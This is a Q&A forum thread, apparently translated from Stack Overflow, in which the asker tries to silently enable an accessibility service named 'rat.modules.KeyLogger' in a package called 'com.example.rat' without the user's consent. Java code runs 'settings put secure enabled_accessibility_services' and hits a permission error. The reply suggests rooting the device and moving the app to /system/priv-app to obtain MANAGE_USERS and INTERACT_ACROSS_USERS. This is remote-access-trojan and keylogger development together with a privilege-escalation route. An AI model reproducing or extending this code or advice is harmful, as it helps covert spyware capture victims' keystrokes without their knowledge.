使我的应用本身能够获得访问权限

时间:2019-03-01 07:24:55

标签: java android process android-security android-accessibility

我试图绕过Android安全性,并允许我的应用程序获得访问权限,而不要求用户这样做。
我发现在StackOverflow中搜索是可行的,单击here通过使用InstrumentationRegistry进行查看,但是该类现在已被弃用,因此我开始使用Process类并启动您可以在上方看到的方法:

String packageName = "com.example.rat";
String serviceName = packageName+"/"+"rat.modules.KeyLogger";
String service = "enabled_accessibility_services";
String cmd = "settings put secure "+service+" "+serviceName;
System.out.println("Command: "+cmd);
Scanner s = new Scanner(cmd);
s.useDelimiter(" ");
Process p = Runtime.getRuntime().exec(new String[]{s.next(),s.next(),s.next(),s.next(),s.next()});
String error = "";
String line = "";
BufferedReader br = new BufferedReader(new InputStreamReader(p.getErrorStream()));
while ((line = br.readLine()) != null) {
    error += line;
}
System.out.println("Response: "+error);

我从前面显示的代码中得到的错误在这里:

  

安全异常:您需要MANAGE_USERS或CREATE_USERS权限才能:查询userjava.lang.SecurityException:您需要MANAGE_USERS或CREATE_USERS权限才能:在com.android.server.pm.UserManagerService.checkManageOrCreateUsersPermission(UserManagerService.java: 1854)com.android.server.pm.UserManagerService.getUserInfo(UserManagerService.java:1039)android.os.UserManager.getUserInfo(UserManager.java:1366)com.android.providers.settings.SettingsService $ MyShellCommand.onCommand (SettingsService.java:273)在android.os.ShellCommand.exec(ShellCommand.java:96)在com.android.providers.settings.SettingsService.onShellCommand(SettingsService.java:51)在android.os.Binder.shellCommand( Binder.java:581)位于android.os.Binder.onTransact(Binder.java:481)位于android.os.Binder.execTransact(Binder.java:682)

有没有绕过它?我愿意接受各种想法。

1 个答案:

答案 0 :(得分:1)

仅系统应用程序可以使用此权限。 如果您的手机已扎根,请将您的应用移至/ system / priv-app文件夹 您需要的权限是

<uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />

<uses-permission android:name="android.permission.MANAGE_USERS" />